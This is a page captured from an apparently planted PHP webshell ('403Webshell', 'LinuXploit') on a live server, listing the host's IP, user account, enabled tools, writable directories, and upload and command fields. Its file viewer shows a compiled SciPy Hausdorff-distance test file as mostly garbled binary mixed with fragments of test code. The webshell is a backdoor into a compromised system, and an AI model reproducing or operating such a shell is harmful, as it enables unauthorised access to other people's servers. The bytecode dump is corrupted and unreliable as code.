403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/scipy/spatial/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/scipy/spatial/tests/__pycache__/test_hausdorff.cpython-311.pyc
�

d�c����ddlZddlmZmZmZddlZddlmZddl	m
Z
ddlmZGd�d��Z
ejjd���ZdS)	�N)�assert_allclose�assert_array_equal�assert_equal)�directed_hausdorff)�distance)�check_random_statec	��eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zej
�d
ddg��d
���Zd�Zej
�ddgddgddfdgddgddfddggd�ddfg��d���ZdS)�
TestHausdorffc�~�tj�d��tj�d��tjzdz}tj||tjd��f��}tj|d��|d<tj|d��|d<tj||tjd��f��}tj|dd�df��dz|dd�df<tj|dd�df��dz|dd�df<tj|d	��d
z|d	<tj|d��d
z|d<||_||_	tj
|jdd
d���|_tj
|j	ddd���|_dS)Ni��d�).r).�rrg@�rrgffffff
@�rr����axis�)
�np�random�seed�pi�column_stack�zeros�cos�sin�path_1�path_2�insert�	path_1_4d�	path_2_4d)�self�
random_angles�random_columns�random_columns_2s    �D/usr/lib/python3/dist-packages/scipy/spatial/tests/test_hausdorff.py�setup_methodzTestHausdorff.setup_methods���
�	���t�����	�(�(��-�-���5��9�
���
�M�2�8�C�=�=�9�;�;��!#���v�(>�!?�!?��v��!#���v�(>�!?�!?��v���?�
�M�2�8�C�=�=�9�;�;��"$�&�)9�!�"�"�a�%�)@�"A�"A�C�"G�����Q���"$�&�)9�!�"�"�a�%�)@�"A�"A�C�"G�����Q���!#��(8��(>�!?�!?�#�!E����!#��(8��(>�!?�!?�#�!E����$���&�����4�;��1�1�=�=�=�����4�;��2�A�>�>�>�����c��t|j|j��d}t|j|j��d}||ksJ�dS)Nr)rrr)r#�forward�reverses   r'�
test_symmetryzTestHausdorff.test_symmetry!sK��%�T�[�$�+�>�>�q�A��$�T�[�$�+�>�>�q�A���'�!�!�!�!�!�!r)c���t|j|j��d}tt	jt
j|j|j��d�����}t||��dS)Nrrr�	rrr�maxr�aminr�cdistr�r#�actual�expecteds   r'�#test_brute_force_comparison_forwardz1TestHausdorff.test_brute_force_comparison_forward)�i��$�D�K���=�=�a�@���r�w�x�~�d�k�4�;�G�G�$%�'�'�'�(�(�����)�)�)�)�)r)c���t|j|j��d}tt	jt
j|j|j��d�����}t||��dS�Nrr)	rrrr0rr1rr2rr3s   r'�#test_brute_force_comparison_reversez1TestHausdorff.test_brute_force_comparison_reverse3r7r)c�f�t|j|j��d}t|d��dS)Nr�)rrr)r#r4s  r'�test_degenerate_casez"TestHausdorff.test_degenerate_case=s2��$�D�K���=�=�a�@�����$�$�$�$�$r)c�6�t|jddd�f|jddd�f��d}tt	jt
j|jddd�f|jddd�f��d�����}t||��dS)N.r
rrrr/r3s   r'�test_2d_data_forwardz"TestHausdorff.test_2d_data_forwardCs���$�D�K��R�a�R��$8�$(�K��R�a�R��$8�:�:�:;�=���r�w�x�~�d�k�#�r��r�'�.B�.2�k�#�r��r�'�.B� D� D�$%�'�'�'�(�(��	���)�)�)�)�)r)c���t|j|j��d}tt	jt
j|j|j��d�����}t||��dSr9)	rr"r!r0rr1rr2rr3s   r'�test_4d_data_reversez"TestHausdorff.test_4d_data_reverseMsi��$�D�N�D�N�C�C�A�F���r�w�x�~�d�n�d�n�M�M�$%�'�'�'�(�(�����)�)�)�)�)r)c���tjddgddgddgddgddgg��}tjddgddgdd	gd
dgg��}t||��dd�}d}t||��dS)
N���i�rrr�r
�r�
�	)r
r)r�arrayrr)r#�
path_simple_1�
path_simple_2r4r5s     r'�test_indiceszTestHausdorff.test_indicesVs�����2�c�(�A�a�5�1�Q�%�!�A���1��!F�G�G�
���1�Q�%�!�A���3��"�Q��!@�A�A�
�#�M�=�A�A�!�"�"�E�����6�8�,�,�,�,�,r)c���td��}|���}t|j|j��td��}|���}t||��dS�N�r�	get_staterrrr)r#�rs�old_global_state�rs2�new_global_states     r'�test_random_statezTestHausdorff.test_random_state_sf�� ��
%�
%���<�<�>�>���4�;���4�4�4� ��&�&���=�=�?�?���%�'7�8�8�8�8�8r)rNi�E�c���td��}|���}t|j|j|��td��}|���}t||��dSrMrN)r#rrPrQrRrSs      r'�test_random_state_None_intz(TestHausdorff.test_random_state_None_intish�� ��
%�
%���<�<�>�>���4�;���T�:�:�:� ��&�&���=�=�?�?���%�'7�8�8�8�8�8r)c�$�tj�d��}|�d��}|�d��}d}tjt
|���5t
||��ddd��dS#1swxYwYdS)Nl	�"{`�R�!���rr
)rrz'need to have the same number of columns)�match)rr�default_rng�pytest�raises�
ValueErrorr)r#�rng�A�B�msgs     r'�test_invalid_dimensionsz%TestHausdorff.test_invalid_dimensionsts����i�#�#�$K�L�L���J�J�v�����J�J�v����8��
�]�:�S�
1�
1�
1�	%�	%��q�!�$�$�$�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%�	%�	%s�'B�B	�B	zA, B, seed, expectedrrr)r<rrr����r)rrrci*-)r<rrc��t|||���}t|d|d��|dd�|dd�ksJ�dS)N)�u�vrrr)rr)r#r_r`rr5r4s      r'�test_subsetszTestHausdorff.test_subsets~sW��*$�a�1�4�8�8�8����q�	�8�A�;�/�/�/��a�b�b�z�X�a�b�b�\�)�)�)�)�)�)r))�__name__�
__module__�__qualname__r(r-r6r:r=r?rArKrTr[�mark�parametrizerVrbrh�r)r'r
r
se������?�?�?�&"�"�"�*�*�*�*�*�*�%�%�%�*�*�*�*�*�*�-�-�-�9�9�9��[���V�d�H�%5�6�6�9�9�7�6�9�%�%�%��[���3�
��
���	
�	�	���
���	
�	�	�
�5�	�	 �	 �	 �	�
�
	�6���&*�*�'��&*�*�*r)r
c���	ddl}n$#t$rtjd��YnwxYw|���jdkrtjd��t
d��}tj|df���}tjd���}d	d	g||d
z
<t||���}t|dd��t|d
|d
z
��dS)
Nrz)psutil required to check available memorylPz.insufficient memory available to run this testg�Z�Ar
)�shaperXrr)rfrgg�
�H@)�psutil�ModuleNotFoundErrorr[�skip�virtual_memory�	available�intrrrr)rq�size�arr1�arr2r4s     r'�test_massive_arr_overflowrz�s���
A��
�
�
�
���A�A�A���?�@�@�@�@�@�A����
�����(�8�3�3���D�E�E�E��s�8�8�D�
�8�4��)�$�$�$�D�
�8�&�!�!�!�D���V�D����N�
�$�$�
/�
/�
/�F��F�1�I�1�2�2�2��F�1�I�t�a�x�(�(�(�(�(s��(�()�numpyr�
numpy.testingrrrr[�scipy.spatial.distancer�
scipy.spatialr�scipy._lib._utilrr
rl�xslowrzrnr)r'�<module>r�s�������)�)�)�)�)�)�)�)�)�)��
�
�
�5�5�5�5�5�5�"�"�"�"�"�"�/�/�/�/�/�/�L*�L*�L*�L*�L*�L*�L*�L*�^���)�)���)�)�)r)

Youez - 2016 - github.com/yon3zu
LinuXploit